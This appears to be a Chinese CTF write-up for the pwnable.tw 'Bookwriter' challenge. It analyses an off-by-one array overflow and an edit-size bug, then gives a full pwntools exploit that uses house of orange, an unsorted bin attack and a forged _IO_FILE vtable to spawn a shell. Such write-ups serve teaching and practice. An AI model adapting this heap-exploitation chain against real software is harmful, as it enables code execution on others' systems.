【tw】Bookwriter

程序&初步分析

程序会先向 bss 段中读取 0x40 字节的 author 信息:
在这里插入图片描述
存放 chunk ptr 和 size 的列表在其正下方:
在这里插入图片描述
在这里插入图片描述
看 add 功能中:
在这里插入图片描述
chunk_list 只有可以存放 8 个指针大小的内存,而 add 中 if 的判断条件显然可以多申请一个 chunk,而 size_list 紧随其后,可以溢出到此处。然后就是正常的读入数据。
view 功能正常,可以利用其泄漏 libc。
edit 功能存在一处漏洞:
在这里插入图片描述
这里首先通过先前存放的 size 进行读入数据,然后通过 strlen 函数重新计算长度,并更新。strlen 函数遇见 “\x00” 才会停止,并且不将 “\x00” 算入长度。,这里同样想到前面 add 功能中可以通过溢出修改 size [0] 为一个堆地址,则可以实现足够长度的堆溢出
info 功能通过 printf 进行打印:
在这里插入图片描述
因为存放 author 信息的内存和 chunk_list 紧挨,且不会在输入后添 0,所以通过该功能即可泄漏 heap_addr。
没有 free 功能,考虑 house of orange。

利用限制和条件
  • add 时 size 大小无限制
  • 通过数组越界实现几乎无限的堆溢出
  • 可泄漏 heap_addr、libc_addr
  • 可以 edit chunk
  • 无 free 功能
利用思路

由于没有 free 功能,所以考虑 house of orange,其结果是将 old chunk 放入 unsorted bin,而程序又有堆溢出可以修改到 unsorted bin 的 bk,所以继续结合 unsorted bin attack,unsorted bin attack 一个主要写堆地址的地方就是 _IO_list_all,完成 FSOP,通过 libc 2.23 下伪造 vtable 的方式,执行 system("/bin/sh\x00")。所以本题就采用这个思路。
注意到 info 功能中调用了 scanf 函数,此时其内部会申请一个 0x1000 大小的 chunk,利用这个机制,便可以将 old chunk 放入 unsorted bin 的同时泄漏 libc。
然后就是注意 add 第 9 个 chunk 前先将 #0 edit 为空,以通过 add 时的条件。
伪造的 fake_IO 如下:
在这里插入图片描述
满足条件后将 fp 置为 “/bin/sh\x00”,伪造 fake_vtable 指向 system 函数前,使 system 函数相对 vtable 的地址和 _IO_overflow 相对 vtable 的地址一样,最终执行 IO_overflow(fp, EOF) 时执行的即是 system("/bin/sh\x00"),本题的布置手法学自该文章

完整exp
from pwn import *
import sys

context.log_level = "debug"
elf = ELF("./bookwriter")

if sys.argv[1] == "p":
	p = process("./bookwriter")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	# libc = elf.libc
else:
	p = remote("chall.pwnable.tw", 10304)
	libc = ELF("./libc_64.so.6")
	# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


DEBUG = 0
if DEBUG:
	gdb.attach(p, 
	'''	
	b *0x08048935
	c
	''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

# if sys.argv[1] == "process":
#    one_gadget = libc_base + 0xf02a4
# else:
#    one_gadget = libc_base + 0xef6c4

menu = "Your choice :"
def cmd(idx):
	ru(menu)
	sl(str(idx))

def add(size, content):
	cmd(1)
	ru("Size of page :")
	sl(str(size))
	ru("Content :")
	se(content)

def view(idx):
	cmd(2)
	ru("Index of page :")
	sl(str(idx))

def edit(idx, content):
	cmd(3)
	ru("Index of page :")
	sl(str(idx))
	ru("Content:")
	se(content)

def info1():
	cmd(4)
	
author = "a"*(0x40-0x2) + "||"
ru("Author :")
se(author)

add(0x28, "0") # 0
edit(0, 0x28 * 'a')
edit(0, 0x28 * 'a' + '\xd1\x0f\x00')

info1() #info
ru("||")
heap_base = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00")) - 0x10 # 直接接收 8 字节
print("heap_base:", hex(heap_base))
sla("(yes:1 / no:0)", "0\n")

edit(0, '\x00') # size[0] = 0
for i in range(8):
	add(0x28, 'a'*8)

view(2)

ru("aaaaaaaa")
libc_base = u64(ru("\x7f")[-6:].ljust(8, '\x00')) - 0x68 - libc.symbols['__malloc_hook']
info("libc_base", libc_base)
system = libc_base + libc.symbols['system']
IO_list_all = libc_base + libc.symbols["_IO_list_all"]
# # IO_str_jumps = libc_base + libc.symbols["_IO_str_jumps"]
# # IO_str_jumps = libc_base + 0x3c37a0

pl = '\x00' * 0x1a0
fake_IO_file = "/bin/sh\x00" + p64(0x61) + p64(libc_base) + p64(IO_list_all - 0x10)
fake_IO_file += p64(2)+p64(3)+p64(0)*9+p64(system) + p64(0)*11 + p64(heap_base+0x210)
pl += fake_IO_file
edit(0, pl)
sleep(0.5)

cmd(1)
ru("Size of page :")
sl(str(0x10))

ia()

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值